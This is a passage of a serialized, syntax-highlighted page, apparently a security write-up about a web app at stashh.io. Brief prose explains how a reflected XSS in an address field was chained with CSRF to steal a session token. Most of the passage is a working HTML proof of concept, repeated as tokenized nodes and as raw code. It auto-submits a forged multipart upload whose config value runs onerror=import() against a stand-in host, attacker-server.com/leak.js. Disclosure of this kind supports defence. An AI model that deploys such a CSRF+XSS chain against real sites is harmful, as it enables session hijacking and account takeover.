ype":27,"value":33456},"=",{"type":21,"tag":198,"props":33458,"children":33459},{"style":205},[33460],{"type":27,"value":20070},{"type":21,"tag":198,"props":33462,"children":33463},{"style":249},[33464],{"type":27,"value":33465}," ",{"type":21,"tag":198,"props":33467,"children":33468},{"style":205},[33469],{"type":27,"value":33470},"onerror",{"type":21,"tag":198,"props":33472,"children":33473},{"style":249},[33474],{"type":27,"value":33456},{"type":21,"tag":198,"props":33476,"children":33477},{"style":205},[33478],{"type":27,"value":1291},{"type":21,"tag":198,"props":33480,"children":33481},{"style":249},[33482],{"type":27,"value":33483},"(",{"type":21,"tag":198,"props":33485,"children":33486},{"style":205},[33487],{"type":27,"value":1300},{"type":21,"tag":198,"props":33489,"children":33490},{"style":249},[33491],{"type":27,"value":33492},".",{"type":21,"tag":198,"props":33494,"children":33495},{"style":205},[33496],{"type":27,"value":1309},{"type":21,"tag":198,"props":33498,"children":33499},{"style":249},[33500],{"type":27,"value":33501},")>","",{"type":21,"tag":198,"props":33503,"children":33504},{"style":205},[33505],{"type":27,"value":33506},"to",{"type":21,"tag":198,"props":33508,"children":33509},{"style":249},[33510],{"type":27,"value":33428},{"type":21,"tag":198,"props":33512,"children":33513},{"style":205},[33514],{"type":27,"value":33515},"profile",{"type":21,"tag":198,"props":33517,"children":33518},{"style":249},[33519],{"type":27,"value":33520},"-",{"type":21,"tag":198,"props":33522,"children":33523},{"style":205},[33524],{"type":27,"value":33525},"assets",{"type":21,"tag":198,"props":33527,"children":33528},{"style":249},[33529],{"type":27,"value":33530},"","",{"type":21,"tag":198,"props":33532,"children":33533},{"style":205},[33534],{"type":27,"value":33535},"type",{"type":21,"tag":198,"props":33537,"children":33538},{"style":249},[33539],{"type":27,"value":33428},{"type":21,"tag":198,"props":33541,"children":33542},{"style":205},[33543],{"type":27,"value":33544},"icon",{"type":21,"tag":198,"props":33546,"children":33547},{"style":249},[33548],{"type":27,"value":33549},""}",{"type":21,"tag":198,"props":33551,"children":33552},{"style":205},[33553],{"type":27,"value":20854},{"type":21,"tag":198,"props":33555,"children":33556},{"style":3156},[33557],{"type":27,"value":33558}," />\n",{"type":21,"tag":198,"props":33560,"children":33561},{"class":200,"line":323},[33562,33566,33570,33574,33578,33583,33587,33591,33596],{"type":21,"tag":198,"props":33563,"children":33564},{"style":3156},[33565],{"type":27,"value":33371},{"type":21,"tag":198,"props":33567,"children":33568},{"style":249},[33569],{"type":27,"value":9177},{"type":21,"tag":198,"props":33571,"children":33572},{"style":226},[33573],{"type":27,"value":33323},{"type":21,"tag":198,"props":33575,"children":33576},{"style":683},[33577],{"type":27,"value":3174},{"type":21,"tag":198,"props":33579,"children":33580},{"style":205},[33581],{"type":27,"value":33582},"\"submit\"",{"type":21,"tag":198,"props":33584,"children":33585},{"style":226},[33586],{"type":27,"value":33293},{"type":21,"tag":198,"props":33588,"children":33589},{"style":683},[33590],{"type":27,"value":3174},{"type":21,"tag":198,"props":33592,"children":33593},{"style":205},[33594],{"type":27,"value":33595},"\"Submit request\"",{"type":21,"tag":198,"props":33597,"children":33598},{"style":3156},[33599],{"type":27,"value":33558},{"type":21,"tag":198,"props":33601,"children":33602},{"class":200,"line":344},[33603,33608,33612],{"type":21,"tag":198,"props":33604,"children":33605},{"style":3156},[33606],{"type":27,"value":33607}," \u003C/",{"type":21,"tag":198,"props":33609,"children":33610},{"style":249},[33611],{"type":27,"value":33234},{"type":21,"tag":198,"props":33613,"children":33614},{"style":3156},[33615],{"type":27,"value":3203},{"type":21,"tag":198,"props":33617,"children":33618},{"class":200,"line":365},[33619,33624,33628],{"type":21,"tag":198,"props":33620,"children":33621},{"style":3156},[33622],{"type":27,"value":33623}," \u003C/",{"type":21,"tag":198,"props":33625,"children":33626},{"style":249},[33627],{"type":27,"value":3342},{"type":21,"tag":198,"props":33629,"children":33630},{"style":3156},[33631],{"type":27,"value":3203},{"type":21,"tag":198,"props":33633,"children":33634},{"class":200,"line":386},[33635],{"type":21,"tag":198,"props":33636,"children":33637},{"emptyLinePlaceholder":16},[33638],{"type":27,"value":1283},{"type":21,"tag":198,"props":33640,"children":33641},{"class":200,"line":408},[33642,33646,33650],{"type":21,"tag":198,"props":33643,"children":33644},{"style":3156},[33645],{"type":27,"value":33179},{"type":21,"tag":198,"props":33647,"children":33648},{"style":249},[33649],{"type":27,"value":33199},{"type":21,"tag":198,"props":33651,"children":33652},{"style":3156},[33653],{"type":27,"value":3203},{"type":21,"tag":198,"props":33655,"children":33656},{"class":200,"line":429},[33657],{"type":21,"tag":198,"props":33658,"children":33659},{"emptyLinePlaceholder":16},[33660],{"type":27,"value":1283},{"type":21,"tag":198,"props":33662,"children":33663},{"class":200,"line":450},[33664,33669],{"type":21,"tag":198,"props":33665,"children":33666},{"style":211},[33667],{"type":27,"value":33668}," (async ()=>",{"type":21,"tag":198,"props":33670,"children":33671},{"style":249},[33672],{"type":27,"value":11689},{"type":21,"tag":198,"props":33674,"children":33675},{"class":200,"line":468},[33676,33681,33686,33691,33696,33700,33704,33709,33713,33718,33723,33728],{"type":21,"tag":198,"props":33677,"children":33678},{"style":226},[33679],{"type":27,"value":33680}," const",{"type":21,"tag":198,"props":33682,"children":33683},{"style":226},[33684],{"type":27,"value":33685}," blob",{"type":21,"tag":198,"props":33687,"children":33688},{"style":683},[33689],{"type":27,"value":33690}," = ",{"type":21,"tag":198,"props":33692,"children":33693},{"style":640},[33694],{"type":27,"value":33695},"await",{"type":21,"tag":198,"props":33697,"children":33698},{"style":683},[33699],{"type":27,"value":648},{"type":21,"tag":198,"props":33701,"children":33702},{"style":640},[33703],{"type":27,"value":33695},{"type":21,"tag":198,"props":33705,"children":33706},{"style":698},[33707],{"type":27,"value":33708}," fetch",{"type":21,"tag":198,"props":33710,"children":33711},{"style":683},[33712],{"type":27,"value":706},{"type":21,"tag":198,"props":33714,"children":33715},{"style":205},[33716],{"type":27,"value":33717},"\"/sapo.png\"",{"type":21,"tag":198,"props":33719,"children":33720},{"style":683},[33721],{"type":27,"value":33722},")).",{"type":21,"tag":198,"props":33724,"children":33725},{"style":698},[33726],{"type":27,"value":33727},"blob",{"type":21,"tag":198,"props":33729,"children":33730},{"style":683},[33731],{"type":27,"value":1837},{"type":21,"tag":198,"props":33733,"children":33734},{"class":200,"line":477},[33735],{"type":21,"tag":198,"props":33736,"children":33737},{"emptyLinePlaceholder":16},[33738],{"type":27,"value":1283},{"type":21,"tag":198,"props":33740,"children":33741},{"class":200,"line":494},[33742,33746,33751,33755,33759,33764,33769,33773,33777,33782,33787,33792,33797],{"type":21,"tag":198,"props":33743,"children":33744},{"style":226},[33745],{"type":27,"value":3873},{"type":21,"tag":198,"props":33747,"children":33748},{"style":226},[33749],{"type":27,"value":33750}," f",{"type":21,"tag":198,"props":33752,"children":33753},{"style":683},[33754],{"type":27,"value":33690},{"type":21,"tag":198,"props":33756,"children":33757},{"style":249},[33758],{"type":27,"value":15927},{"type":21,"tag":198,"props":33760,"children":33761},{"style":698},[33762],{"type":27,"value":33763}," File",{"type":21,"tag":198,"props":33765,"children":33766},{"style":683},[33767],{"type":27,"value":33768},"([",{"type":21,"tag":198,"props":33770,"children":33771},{"style":226},[33772],{"type":27,"value":33727},{"type":21,"tag":198,"props":33774,"children":33775},{"style":683},[33776],{"type":27,"value":23853},{"type":21,"tag":198,"props":33778,"children":33779},{"style":205},[33780],{"type":27,"value":33781},"'sapo.png'",{"type":21,"tag":198,"props":33783,"children":33784},{"style":683},[33785],{"type":27,"value":33786},", {",{"type":21,"tag":198,"props":33788,"children":33789},{"style":226},[33790],{"type":27,"value":33791},"type:",{"type":21,"tag":198,"props":33793,"children":33794},{"style":205},[33795],{"type":27,"value":33796}," 'image/png'",{"type":21,"tag":198,"props":33798,"children":33799},{"style":683},[33800],{"type":27,"value":33801},"})\n",{"type":21,"tag":198,"props":33803,"children":33804},{"class":200,"line":515},[33805,33809,33814,33818,33822,33827],{"type":21,"tag":198,"props":33806,"children":33807},{"style":226},[33808],{"type":27,"value":33680},{"type":21,"tag":198,"props":33810,"children":33811},{"style":226},[33812],{"type":27,"value":33813}," dataTransfer",{"type":21,"tag":198,"props":33815,"children":33816},{"style":683},[33817],{"type":27,"value":33690},{"type":21,"tag":198,"props":33819,"children":33820},{"style":249},[33821],{"type":27,"value":15927},{"type":21,"tag":198,"props":33823,"children":33824},{"style":698},[33825],{"type":27,"value":33826}," DataTransfer",{"type":21,"tag":198,"props":33828,"children":33829},{"style":683},[33830],{"type":27,"value":3404},{"type":21,"tag":198,"props":33832,"children":33833},{"class":200,"line":4484},[33834,33839,33843,33848,33852,33856,33860,33865],{"type":21,"tag":198,"props":33835,"children":33836},{"style":226},[33837],{"type":27,"value":33838}," dataTransfer",{"type":21,"tag":198,"props":33840,"children":33841},{"style":683},[33842],{"type":27,"value":658},{"type":21,"tag":198,"props":33844,"children":33845},{"style":226},[33846],{"type":27,"value":33847},"items",{"type":21,"tag":198,"props":33849,"children":33850},{"style":683},[33851],{"type":27,"value":658},{"type":21,"tag":198,"props":33853,"children":33854},{"style":698},[33855],{"type":27,"value":10448},{"type":21,"tag":198,"props":33857,"children":33858},{"style":683},[33859],{"type":27,"value":706},{"type":21,"tag":198,"props":33861,"children":33862},{"style":226},[33863],{"type":27,"value":33864},"f",{"type":21,"tag":198,"props":33866,"children":33867},{"style":683},[33868],{"type":27,"value":1470},{"type":21,"tag":198,"props":33870,"children":33871},{"class":200,"line":4493},[33872],{"type":21,"tag":198,"props":33873,"children":33874},{"emptyLinePlaceholder":16},[33875],{"type":27,"value":1283},{"type":21,"tag":198,"props":33877,"children":33878},{"class":200,"line":4561},[33879,33884,33888,33893,33897,33902,33906,33910],{"type":21,"tag":198,"props":33880,"children":33881},{"style":226},[33882],{"type":27,"value":33883}," file123",{"type":21,"tag":198,"props":33885,"children":33886},{"style":683},[33887],{"type":27,"value":658},{"type":21,"tag":198,"props":33889,"children":33890},{"style":226},[33891],{"type":27,"value":33892},"files",{"type":21,"tag":198,"props":33894,"children":33895},{"style":683},[33896],{"type":27,"value":33690},{"type":21,"tag":198,"props":33898,"children":33899},{"style":226},[33900],{"type":27,"value":33901},"dataTransfer",{"type":21,"tag":198,"props":33903,"children":33904},{"style":683},[33905],{"type":27,"value":658},{"type":21,"tag":198,"props":33907,"children":33908},{"style":226},[33909],{"type":27,"value":33892},{"type":21,"tag":198,"props":33911,"children":33912},{"style":683},[33913],{"type":27,"value":1483},{"type":21,"tag":198,"props":33915,"children":33916},{"class":200,"line":4569},[33917,33922],{"type":21,"tag":198,"props":33918,"children":33919},{"style":249},[33920],{"type":27,"value":33921}," }",{"type":21,"tag":198,"props":33923,"children":33924},{"style":211},[33925],{"type":27,"value":33926},")()\n",{"type":21,"tag":198,"props":33928,"children":33929},{"class":200,"line":4599},[33930],{"type":21,"tag":198,"props":33931,"children":33932},{"emptyLinePlaceholder":16},[33933],{"type":27,"value":1283},{"type":21,"tag":198,"props":33935,"children":33936},{"class":200,"line":4607},[33937,33941,33945],{"type":21,"tag":198,"props":33938,"children":33939},{"style":3156},[33940],{"type":27,"value":33623},{"type":21,"tag":198,"props":33942,"children":33943},{"style":249},[33944],{"type":27,"value":33199},{"type":21,"tag":198,"props":33946,"children":33947},{"style":3156},[33948],{"type":27,"value":3203},{"type":21,"tag":198,"props":33950,"children":33951},{"class":200,"line":4638},[33952,33956,33960],{"type":21,"tag":198,"props":33953,"children":33954},{"style":3156},[33955],{"type":27,"value":33213},{"type":21,"tag":198,"props":33957,"children":33958},{"style":249},[33959],{"type":27,"value":3146},{"type":21,"tag":198,"props":33961,"children":33962},{"style":3156},[33963],{"type":27,"value":3203},{"type":21,"tag":30,"props":33965,"children":33966},{},[33967],{"type":27,"value":33968},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":21,"tag":30,"props":33970,"children":33971},{},[33972],{"type":27,"value":33973},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":21,"tag":30,"props":33975,"children":33976},{},[33977],{"type":27,"value":33978},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":21,"tag":30,"props":33980,"children":33981},{},[33982],{"type":27,"value":33983},"From here, we were able to steal the session cookie from local storage.",{"type":21,"tag":187,"props":33985,"children":33987},{"className":189,"code":33986,"language":191,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n\n form123.submit()\n })()\n\n \u003C/script>\n\u003C/html>\n",[33988],{"type":21,"tag":194,"props":33989,"children":33990},{"__ignoreMap":7},[33991,34006,34021,34052,34127,34178,34366,34405,34420,34435,34442,34457,34464,34475,34526,34533,34588,34615,34650,34657,34692,34699,34720,34731,34738,34753],{"type":21,"tag":198,"props":33992,"children":33993},{"class":200,"line":201},[33994,33998,34002],{"type":21,"tag":198,"props":33995,"children":33996},{"style":3156},[33997],{"type":27,"value":3159},{"type":21,"tag":198,"props":33999,"children":34000},{"style":249},[34001],{"type":27,"value":3146},{"type":21,"tag":198,"props":34003,"children":34004},{"style":3156},[34005],{"type":27,"value":3203},{"type":21,"tag":198,"props":34007,"children":34008},{"class":200,"line":217},[34009,34013,34017],{"type":21,"tag":198,"props":34010,"children":34011},{"style":3156},[34012],{"type":27,"value":33179},{"type":21,"tag":198,"props":34014,"children":34015},{"style":249},[34016],{"type":27,"value":3342},{"type":21,"tag":198,"props":34018,"children":34019},{"style":3156},[34020],{"type":27,"value":3203},{"type":21,"tag":198,"props":34022,"children":34023},{"class":200,"line":236},[34024,34028,34032,34036,34040,34044,34048],{"type":21,"tag":198,"props":34025,"children":34026},{"style":3156},[34027],{"type":27,"value":33179},{"type":21,"tag":198,"props":34029,"children":34030},{"style":249},[34031],{"type":27,"value":33199},{"type":21,"tag":198,"props":34033,"children":34034},{"style":3156},[34035],{"type":27,"value":11270},{"type":21,"tag":198,"props":34037,"children":34038},{"style":211},[34039],{"type":27,"value":33208},{"type":21,"tag":198,"props":34041,"children":34042},{"style":3156},[34043],{"type":27,"value":33213},{"type":21,"tag":198,"props":34045,"children":34046},{"style":249},[34047],{"type":27,"value":33199},{"type":21,"tag":198,"props":34049,"children":34050},{"style":3156},[34051],{"type":27,"value":3203},{"type":21,"tag":198,"props":34053,"children":34054},{"class":200,"line":260},[34055,34059,34063,34067,34071,34075,34079,34083,34087,34091,34095,34099,34103,34107,34111,34115,34119,34123],{"type":21,"tag":198,"props":34056,"children":34057},{"style":3156},[34058],{"type":27,"value":33229},{"type":21,"tag":198,"props":34060,"children":34061},{"style":249},[34062],{"type":27,"value":33234},{"type":21,"tag":198,"props":34064,"children":34065},{"style":226},[34066],{"type":27,"value":3169},{"type":21,"tag":198,"props":34068,"children":34069},{"style":683},[34070],{"type":27,"value":3174},{"type":21,"tag":198,"props":34072,"children":34073},{"style":205},[34074],{"type":27,"value":33247},{"type":21,"tag":198,"props":34076,"children":34077},{"style":226},[34078],{"type":27,"value":33252},{"type":21,"tag":198,"props":34080,"children":34081},{"style":683},[34082],{"type":27,"value":3174},{"type":21,"tag":198,"props":34084,"children":34085},{"style":205},[34086],{"type":27,"value":33261},{"type":21,"tag":198,"props":34088,"children":34089},{"style":226},[34090],{"type":27,"value":17911},{"type":21,"tag":198,"props":34092,"children":34093},{"style":683},[34094],{"type":27,"value":3174},{"type":21,"tag":198,"props":34096,"children":34097},{"style":205},[34098],{"type":27,"value":33274},{"type":21,"tag":198,"props":34100,"children":34101},{"style":226},[34102],{"type":27,"value":33279},{"type":21,"tag":198,"props":34104,"children":34105},{"style":683},[34106],{"type":27,"value":3174},{"type":21,"tag":198,"props":34108,"children":34109},{"style":205},[34110],{"type":27,"value":33288},{"type":21,"tag":198,"props":34112,"children":34113},{"style":226},[34114],{"type":27,"value":33293},{"type":21,"tag":198,"props":34116,"children":34117},{"style":683},[34118],{"type":27,"value":3174},{"type":21,"tag":198,"props":34120,"children":34121},{"style":205},[34122],{"type":27,"value":33302},{"type":21,"tag":198,"props":34124,"children":34125},{"style":3156},[34126],{"type":27,"value":3203},{"type":21,"tag":198,"props":34128,"children":34129},{"class":200,"line":281},[34130,34134,34138,34142,34146,34150,34154,34158,34162,34166,34170,34174],{"type":21,"tag":198,"props":34131,"children":34132},{"style":3156},[34133],{"type":27,"value":33314},{"type":21,"tag":198,"props":34135,"children":34136},{"style":249},[34137],{"type":27,"value":9177},{"type":21,"tag":198,"props":34139,"children":34140},{"style":226},[34141],{"type":27,"value":33323},{"type":21,"tag":198,"props":34143,"children":34144},{"style":683},[34145],{"type":27,"value":3174},{"type":21,"tag":198,"props":34147,"children":34148},{"style":205},[34149],{"type":27,"value":33332},{"type":21,"tag":198,"props":34151,"children":34152},{"style":226},[34153],{"type":27,"value":33337},{"type":21,"tag":198,"props":34155,"children":34156},{"style":683},[34157],{"type":27,"value":3174},{"type":21,"tag":198,"props":34159,"children":34160},{"style":205},[34161],{"type":27,"value":33346},{"type":21,"tag":198,"props":34163,"children":34164},{"style":226},[34165],{"type":27,"value":3169},{"type":21,"tag":198,"props":34167,"children":34168},{"style":683},[34169],{"type":27,"value":3174},{"type":21,"tag":198,"props":34171,"children":34172},{"style":205},[34173],{"type":27,"value":33359},{"type":21,"tag":198,"props":34175,"children":34176},{"style":3156},[34177],{"type":27,"value":3203},{"type":21,"tag":198,"props":34179,"children":34180},{"class":200,"line":302},[34181,34185,34189,34193,34197,34201,34205,34209,34213,34217,34221,34225,34230,34234,34239,34243,34248,34252,34257,34262,34266,34270,34275,34280,34285,34290,34295,34300,34304,34309,34313,34317,34322,34326,34331,34336,34341,34345,34349,34353,34358,34362],{"type":21,"tag":198,"props":34182,"children":34183},{"style":3156},[34184],{"type":27,"value":33371},{"type":21,"tag":198,"props":34186,"children":34187},{"style":249},[34188],{"type":27,"value":9177},{"type":21,"tag":198,"props":34190,"children":34191},{"style":226},[34192],{"type":27,"value":33323},{"type":21,"tag":198,"props":34194,"children":34195},{"style":683},[34196],{"type":27,"value":3174},{"type":21,"tag":198,"props":34198,"children":34199},{"style":205},[34200],{"type":27,"value":33388},{"type":21,"tag":198,"props":34202,"children":34203},{"style":226},[34204],{"type":27,"value":33337},{"type":21,"tag":198,"props":34206,"children":34207},{"style":683},[34208],{"type":27,"value":3174},{"type":21,"tag":198,"props":34210,"children":34211},{"style":205},[34212],{"type":27,"value":33401},{"type":21,"tag":198,"props":34214,"children":34215},{"style":226},[34216],{"type":27,"value":33293},{"type":21,"tag":198,"props":34218,"children":34219},{"style":683},[34220],{"type":27,"value":3174},{"type":21,"tag":198,"props":34222,"children":34223},{"style":205},[34224],{"type":27,"value":20854},{"type":21,"tag":198,"props":34226,"children":34227},{"style":249},[34228],{"type":27,"value":34229},"{"",{"type":21,"tag":198,"props":34231,"children":34232},{"style":205},[34233],{"type":27,"value":33423},{"type":21,"tag":198,"props":34235,"children":34236},{"style":249},[34237],{"type":27,"value":34238},"":"<",{"type":21,"tag":198,"props":34240,"children":34241},{"style":205},[34242],{"type":27,"value":1376},{"type":21,"tag":198,"props":34244,"children":34245},{"style":249},[34246],{"type":27,"value":34247},"/",{"type":21,"tag":198,"props":34249,"children":34250},{"style":205},[34251],{"type":27,"value":1636},{"type":21,"tag":198,"props":34253,"children":34254},{"style":249},[34255],{"type":27,"value":34256},"=",{"type":21,"tag":198,"props":34258,"children":34259},{"style":205},[34260],{"type":27,"value":34261},"x onerror",{"type":21,"tag":198,"props":34263,"children":34264},{"style":249},[34265],{"type":27,"value":34256},{"type":21,"tag":198,"props":34267,"children":34268},{"style":205},[34269],{"type":27,"value":20278},{"type":21,"tag":198,"props":34271,"children":34272},{"style":249},[34273],{"type":27,"value":34274},"(`",{"type":21,"tag":198,"props":34276,"children":34277},{"style":205},[34278],{"type":27,"value":34279},"https",{"type":21,"tag":198,"props":34281,"children":34282},{"style":249},[34283],{"type":27,"value":34284},"://",{"type":21,"tag":198,"props":34286,"children":34287},{"style":205},[34288],{"type":27,"value":34289},"attacker-server",{"type":21,"tag":198,"props":34291,"children":34292},{"style":249},[34293],{"type":27,"value":34294},".",{"type":21,"tag":198,"props":34296,"children":34297},{"style":205},[34298],{"type":27,"value":34299},"com",{"type":21,"tag":198,"props":34301,"children":34302},{"style":249},[34303],{"type":27,"value":34247},{"type":21,"tag":198,"props":34305,"children":34306},{"style":205},[34307],{"type":27,"value":34308},"leak",{"type":21,"tag":198,"props":34310,"children":34311},{"style":249},[34312],{"type":27,"value":34294},{"type":21,"tag":198,"props":34314,"children":34315},{"style":205},[34316],{"type":27,"value":191},{"type":21,"tag":198,"props":34318,"children":34319},{"style":249},[34320],{"type":27,"value":34321},"`)>","",{"type":21,"tag":198,"props":34323,"children":34324},{"style":205},[34325],{"type":27,"value":33506},{"type":21,"tag":198,"props":34327,"children":34328},{"style":249},[34329],{"type":27,"value":34330},"":"",{"type":21,"tag":198,"props":34332,"children":34333},{"style":205},[34334],{"type":27,"value":34335},"profile-assets",{"type":21,"tag":198,"props":34337,"children":34338},{"style":249},[34339],{"type":27,"value":34340},"","",{"type":21,"tag":198,"props":34342,"children":34343},{"style":205},[34344],{"type":27,"value":33535},{"type":21,"tag":198,"props":34346,"children":34347},{"style":249},[34348],{"type":27,"value":34330},{"type":21,"tag":198,"props":34350,"children":34351},{"style":205},[34352],{"type":27,"value":33544},{"type":21,"tag":198,"props":34354,"children":34355},{"style":249},[34356],{"type":27,"value":34357},""}",{"type":21,"tag":198,"props":34359,"children":34360},{"style":205},[34361],{"type":27,"value":20854},{"type":21,"tag":198,"props":34363,"children":34364},{"style":3156},[34365],{"type":27,"value":33558},{"type":21,"tag":198,"props":34367,"children":34368},{"class":200,"line":323},[34369,34373,34377,34381,34385,34389,34393,34397,34401],{"type":21,"tag":198,"props":34370,"children":34371},{"style":3156},[34372],{"type":27,"value":33371},{"type":21,"tag":198,"props":34374,"children":34375},{"style":249},[34376],{"type":27,"value":9177},{"type":21,"tag":198,"props":34378,"children":34379},{"style":226},[34380],{"type":27,"value":33323},{"type":21,"tag":198,"props":34382,"children":34383},{"style":683},[34384],{"type":27,"value":3174},{"type":21,"tag":198,"props":34386,"children":34387},{"style":205},[34388],{"type":27,"value":33582},{"type":21,"tag":198,"props":34390,"children":34391},{"style":226},[34392],{"type":27,"value":33293},{"type":21,"tag":198,"props":34394,"children":34395},{"style":683},[34396],{"type":27,"value":3174},{"type":21,"tag":198,"props":34398,"children":34399},{"style":205},[34400],{"type":27,"value":33595},{"type":21,"tag":198,"props":34402,"children":34403},{"style":3156},[34404],{"type":27,"value":33558},{"type":21,"tag":198,"props":34406,"children":34407},{"class":200,"line":344},[34408,34412,34416],{"type":21,"tag":198,"props":34409,"children":34410},{"style":3156},[34411],{"type":27,"value":33607},{"type":21,"tag":198,"props":34413,"children":34414},{"style":249},[34415],{"type":27,"value":33234},{"type":21,"tag":198,"props":34417,"children":34418},{"style":3156},[34419],{"type":27,"value":3203},{"type":21,"tag":198,"props":34421,"children":34422},{"class":200,"line":365},[34423,34427,34431],{"type":21,"tag":198,"props":34424,"children":34425},{"style":3156},[34426],{"type":27,"value":33623},{"type":21,"tag":198,"props":34428,"children":34429},{"style":249},[34430],{"type":27,"value":3342},{"type":21,"tag":198,"props":34432,"children":34433},{"style":3156},[34434],{"type":27,"value":3203},{"type":21,"tag":198,"props":34436,"children":34437},{"class":200,"line":386},[34438],{"type":21,"tag":198,"props":34439,"children":34440},{"emptyLinePlaceholder":16},[34441],{"type":27,"value":1283},{"type":21,"tag":198,"props":34443,"children":34444},{"class":200,"line":408},[34445,34449,34453],{"type":21,"tag":198,"props":34446,"children":34447},{"style":3156},[34448],{"type":27,"value":33179},{"type":21,"tag":198,"props":34450,"children":34451},{"style":249},[34452],{"type":27,"value":33199},{"type":21,"tag":198,"props":34454,"children":34455},{"style":3156},[34456],{"type":27,"value":3203},{"type":21,"tag":198,"props":34458,"children":34459},{"class":200,"line":429},[34460],{"type":21,"tag":198,"props":34461,"children":34462},{"emptyLinePlaceholder":16},[34463],{"type":27,"value":1283},{"type":21,"tag":198,"props":34465,"children":34466},{"class":200,"line":450},[34467,34471],{"type":21,"tag":198,"props":34468,"children":34469},{"style":211},[34470],{"type":27,"value":33668},{"type":21,"tag":198,"props":34472,"children":34473},{"style":249},[34474],{"type":27,"value":11689},{"type":21,"tag":198,"props":34476,"children":34477},{"class":200,"line":468},[34478,34482,34486,34490,34494,34498,34502,34506,34510,34514,34518,34522],{"type":21,"tag":198,"props":34479,"children":34480},{"style":226},[34481],{"type":27,"value":33680},{"type":21,"tag":198,"props":34483,"children":34484},{"style":226},[34485],{"type":27,"value":33685},{"type":21,"tag":198,"props":34487,"children":34488},{"style":683},[34489],{"type":27,"value":33690},{"type":21,"tag":198,"props":34491,"children":34492},{"style":640},[34493],{"type":27,"value":33695},{"type":21,"tag":198,"props":34495,"children":34496},{"style":683},[34497],{"type":27,"value":648},{"type":21,"tag":198,"props":34499,"children":34500},{"style":640},[34501],{"type":27,"value":33695},{"type":21,"tag":198,"props":34503,"children":34504},{"style":698},[34505],{"type":27,"value":33708},{"type":21,"tag":198,"props":34507,"children":34508},{"style":683},[34509],{"type":27,"value":706},{"type":21,"tag":198,"props":34511,"children":34512},{"style":205},[34513],{"type":27,"value":33717},{"type":21,"tag":198,"props":34515,"children":34516},{"style":683},[34517],{"type":27,"value":33722},{"type":21,"tag":198,"props":34519,"children":34520},{"style":698},[34521],{"type":27,"value":33727},{"type":21,"tag":198,"props":34523,"children":34524},{"style":683},[34525],{"type":27,"value":1837},{"type":21,"tag":198,"props":34527,"children":34528},{"class":200,"line":477},[34529],{"type":21,"tag":198,"props":34530,"children":34531},{"emptyLinePlaceholder":16},[34532],{"type":27,"value":1283},{"type":21,"tag":198,"props":34534,"children":34535},{"class":200,"line":494},[34536,34540,34544,34548,34552,34556,34560,34564,34568,34572,34576,34580,34584],{"type":21,"tag":198,"props":34537,"children":34538},{"style":226},[34539],{"type":27,"value":3873},{"type":21,"tag":198,"props":34541,"children":34542},{"style":226},[34543],{"type":27,"value":33750},{"type":21,"tag":198,"props":34545,"children":34546},{"style":683},[34547],{"type":27,"value":33690},{"type":21,"tag":198,"props":34549,"children":34550},{"style":249},[34551],{"type":27,"value":15927},{"type":21,"tag":198,"props":34553,"children":34554},{"style":698},[34555],{"type":27,"value":33763},{"type":21,"tag":198,"props":34557,"children":34558},{"style":683},[34559],{"type":27,"value":33768},{"type":21,"tag":198,"props":34561,"children":34562},{"style":226},[34563],{"type":27,"value":33727},{"type":21,"tag":198,"props":34565,"children":34566},{"style":683},[34567],{"type":27,"value":23853},{"type":21,"tag":198,"props":34569,"children":34570},{"style":205},[34571],{"type":27,"value":33781},{"type":21,"tag":198,"props":34573,"children":34574},{"style":683},[34575],{"type":27,"value":33786},{"type":21,"tag":198,"props":34577,"children":34578},{"style":226},[34579],{"type":27,"value":33791},{"type":21,"tag":198,"props":34581,"children":34582},{"style":205},[34583],{"type":27,"value":33796},{"type":21,"tag":198,"props":34585,"children":34586},{"style":683},[34587],{"type":27,"value":33801},{"type":21,"tag":198,"props":34589,"children":34590},{"class":200,"line":515},[34591,34595,34599,34603,34607,34611],{"type":21,"tag":198,"props":34592,"children":34593},{"style":226},[34594],{"type":27,"value":33680},{"type":21,"tag":198,"props":34596,"children":34597},{"style":226},[34598],{"type":27,"value":33813},{"type":21,"tag":198,"props":34600,"children":34601},{"style":683},[34602],{"type":27,"value":33690},{"type":21,"tag":198,"props":34604,"children":34605},{"style":249},[34606],{"type":27,"value":15927},{"type":21,"tag":198,"props":34608,"children":34609},{"style":698},[34610],{"type":27,"value":33826},{"type":21,"tag":198,"props":34612,"children":34613},{"style":683},[34614],{"type":27,"value":3404},{"type":21,"tag":198,"props":34616,"children":34617},{"class":200,"line":4484},[34618,34622,34626,34630,34634,34638,34642,34646],{"type":21,"tag":198,"props":34619,"children":34620},{"style":226},[34621],{"type":27,"value":33838},{"type":21,"tag":198,"props":34623,"children":34624},{"style":683},[34625],{"type":27,"value":658},{"type":21,"tag":198,"props":34627,"children":34628},{"style":226},[34629],{"type":27,"value":33847},{"type":21,"tag":198,"props":34631,"children":34632},{"style":683},[34633],{"type":27,"value":658},{"type":21,"tag":198,"props":34635,"children":34636},{"style":698},[34637],{"type":27,"value":10448},{"type":21,"tag":198,"props":34639,"children":34640},{"style":683},[34641],{"type":27,"value":706},{"type":21,"tag":198,"props":34643,"children":34644},{"style":226},[34645],{"type":27,"value":33864},{"type":21,"tag":198,"props":34647,"children":34648},{"style":683},[34649],{"type":27,"value":1470},{"type":21,"tag":198,"props":34651,"children":34652},{"class":200,"line":4493},[34653],{"type":21,"tag":198,"props":34654,"children":34655},{"emptyLinePlaceholder":16},[34656],{"type":27,"value":1283},{"type":21,"tag":198,"props":34658,"children":34659},{"class":200,"line":4561},[34660,34664,34668,34672,34676,34680,34684,34688],{"type":21,"tag":198,"props":34661,"children":34662},{"style":226},[34663],{"type"